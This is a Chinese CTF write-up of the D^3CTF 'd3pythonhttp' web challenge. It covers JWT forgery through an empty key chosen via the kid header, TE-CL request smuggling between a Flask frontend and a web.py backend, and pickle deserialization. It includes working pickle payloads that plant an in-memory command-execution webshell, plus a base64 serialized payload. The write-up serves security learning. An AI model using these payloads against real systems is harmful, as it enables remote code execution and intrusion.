【Web】D^3CTF之浅聊d3pythonhttp——TE-CL请求走私

目录

[step0 题目信息](#step0 题目信息)

[step1 jwt空密钥伪造](#step1 jwt空密钥伪造)

[step1.5 有关TE&CL的lab](#step1.5 有关TE&CL的lab)

[step2 TE-CL请求走私](#step2 TE-CL请求走私)

payload1

payload2


step0 题目信息

注意到题目源码前端是flask写的,后端是web.py写的

frontend

复制代码
from flask import Flask, request, redirect, render_template_string, make_response
import jwt
import json
import http.client

app = Flask(__name__)

login_form = """
<form method="post">
    Username: <input type="text" name="username"><br>
    Password: <input type="password" name="password"><br>
    <input type="submit" value="Login">
</form>
"""

@app.route('/', methods=['GET'])
def index():
    token = request.cookies.get('token')
    if token and verify_token(token):
        return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]
    else: 
        return redirect("/login", code=302)

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == "POST":
        user_info = {"username": request.form["username"], "isadmin": False}
        key = get_key("frontend_key")
        token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})
        resp = make_response(redirect("/", code=302))
        resp.set_cookie("token", token)
        return resp
    else:
        return render_template_string(login_form)

@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
    forward_url = "python-backend:8080"
    conn = http.client.HTTPConnection(forward_url)
    method = request.method
    headers = {key: value for (key, value) in request.headers if key != "Host"}
    data = request.data
    path = "/"
    if request.query_string:
        path += "?" + request.query_string.decode()
    conn.request(method, path, body=data, headers=headers)
    response = conn.getresponse()
    return response.read()

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    token = request.cookies.get('token')
    if token and verify_token(token):
        if request.method == 'POST':
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                forward_url = "python-backend:8080"
                conn = http.client.HTTPConnection(forward_url)
                method = request.method
                headers = {key: value for (key, value) in request.headers if key != 'Host'}
                data = request.data
                path = "/"
                if request.query_string:
                    path += "?" + request.query_string.decode()
                if headers.get("Transfer-Encoding", "").lower() == "chunked":
                    data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
                if "BackdoorPasswordOnlyForAdmin" not in data:
                    return "You are not an admin!"
                conn.request(method, "/backdoor", body=data, headers=headers)
                return "Done!"
            else:
                return "You are not an admin!"
        else:
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                return "Welcome admin!"
            else:
                return "You are not an admin!"
    else: 
        return redirect("/login", code=302)

def get_key(kid):
    key = ""
    dir = "/app/"
    try:
        with open(dir+kid, "r") as f:
            key = f.read()
    except:
        pass
    print(key)
    return key

def verify_token(token):
    header = jwt.get_unverified_header(token)
    kid = header["kid"]
    key = get_key(kid)
    try:
        payload = jwt.decode(token, key, algorithms=["HS256"])
        return True
    except:
        return False

if __name__ == "__main__":
    app.run(host = "0.0.0.0", port = 8081, debug=False)

backend

复制代码
import web
import pickle
import base64

urls = (
    '/', 'index',
    '/backdoor', 'backdoor'
)
web.config.debug = False
app = web.application(urls, globals())


class index:
    def GET(self):
        return "welcome to the backend!"

class backdoor:
    def POST(self):
        data = web.data()
        # fix this backdoor
        if b"BackdoorPasswordOnlyForAdmin" in data:
            return "You are an admin!"
        else:
            data  = base64.b64decode(data)
            pickle.loads(data)
            return "Done!"


if __name__ == "__main__":
    app.run()

step1 jwt空密钥伪造

jwt解密的过程是去jwttoken的header中取kid字段,然后对其拼接/app/得到文件路径,但我们不知道secretkey在哪个文件中,这里只要指定一个不存在的文件名就可以用空密钥去解密

且后续也不会去验证签名的合法性

指定一个加密的空密钥,再把取解密密钥的路径置空

带着token去访问./admin,发现成功伪造

拿到admin之后我们就可以去请求后端 /backdoor 接口

要访问 /backdoor 接口,请求体要有 BackdoorPasswordOnlyForAdmin ,但后端想要执行pickle反序列化又不能有这段字符串,二者显然矛盾

step1.5 有关TE&CL的lab

我们可以实验下,请求头中有Transfer-Encoding时服务器接收的数据是怎样的

复制代码
from flask import Flask, request

app = Flask(__name__)

@app.route('/admin', methods=['GET', 'POST'])
def admin():
        if request.method == 'POST':
                data1 = request.data
                print("这是前端接收到的数据")
                print(data1)
                data2 = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data1))[2:], data1.decode())
                print("这是前端向后端发的数据")
                print(data2)

if __name__ == "__main__":
    app.run(host = "0.0.0.0", port = 8081, debug=False)

bp发包的时候记得把repeater的Update content length关掉

(从上图bp发包可以看到,当Transfer-Encoding和Content-Length共存的时候,flask会优先按TE去解析,哪怕CL长度为1也不影响)

本地起的服务成功打印出接收的data,就是将我们传的分块数据进行了一个拼接

向后端传的data,b8=9c+1c,就是进行了一个TE的格式化处理

至于后端接收的原始数据(暂时忽略Content-Length),显然就是

gANjYnVpbHRpbnMKZXZhbApxAFhUAAAAYXBwLmFkZF9wcm9jZXNzb3IoKGxhbWJkYSBzZWxmIDogX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9TZWNyM1RfRmxhZycpLnJlYWQoKSkpcQGFcQJScQMuBackdoorPasswordOnlyForAdmin

不作赘述

step2 TE-CL请求走私

于是就来到了本题的重头戏:浅谈HTTP请求走私

考虑前后端对HTTP报文的解析差异

后端web.py的web.data()对传入data有这样一段处理

就是说Transfer-Encoding 不为 chunked 就会走CL解析,这里可以用大写绕过chunked

前端flask对请求头的Transfer-Encoding判断时有一个小写的处理,这说明flask底层处理http报文不会将其转小写(否则就是多此一举),因而传往后端的headers中Transfer-Encoding仍然是大写的,这也就支持了上述绕过。

走过判断后,又对data手动进行了一个分块传输的格式处理

伪造一个恶意CL长度,就可以实现将特定的某一段字符传入后端(BackdoorPasswordOnlyForAdmin之前字符的长度。后端不会接收到,但是前端可以),这样一来就绕过了对于BackdoorPasswordOnlyForAdmin的检测,进行pickle反序列化,靶机不出网,可以结合web.py的add_processor方法注内存马(就是在访问路由后执行lambda表达式命令)

payload1

复制代码
import pickle
import base64


class A(object):
    def __reduce__(self):
        return (eval, ("app.add_processor((lambda self : __import__('os').popen('cat /Secr3T_Flag').read()))",))


a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

Content-Length就是base64编码的长度

打入后直接访问/backend路由即可命令执行

payload2

用pker生成opcode再转base64

GitHub - EddieIvan01/pker: Automatically converts Python source code to Pickle opcode

exp.py

复制代码
getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
a = dict_get(builtins, '__builtins__')
exec = getattr(a, 'exec')
exec('index.GET = lambda self:__import__("os").popen(web.input().cmd).read()')
return

python3 pker.py < exp.py | base64 -w 0

改一下Content-Length

访问./backend?cmd=cat /Secr3T_Flag

相关推荐
艾露z4 天前
Vert.x学习(五)—— SockJS,搭建客户端,与后端服务器进行通信
java·前端·后端·学习·web
视力5.2的眼镜猴5 天前
CTF--好像需要管理员
web
uwvwko5 天前
ctfshow——web入门191~194
前端·数据库·mysql·安全·ctf
梦想不只是梦与想5 天前
鸿蒙系统开发状态更新字段区别对比
android·java·flutter·web·鸿蒙
Huazzi.6 天前
【Caddy】:现代化、自动 HTTPS 的 Web 服务器新星
服务器·前端·https·web
视力5.2的眼镜猴6 天前
CTF--shell
web
wslsnyn7 天前
Web前端开发——图像与多媒体文件(上)
开发语言·前端·javascript·html·web
不想学密码的程序员不是好的攻城狮8 天前
TGCTF web
python·网络安全·web·ctf
猿大师播放器8 天前
如何在新版谷歌Chrome上加载IE的Activex/OCX控件?
前端·chrome·web
亚林瓜子10 天前
python的web框架flask(hello,world版)
python·flask·conda·web·python3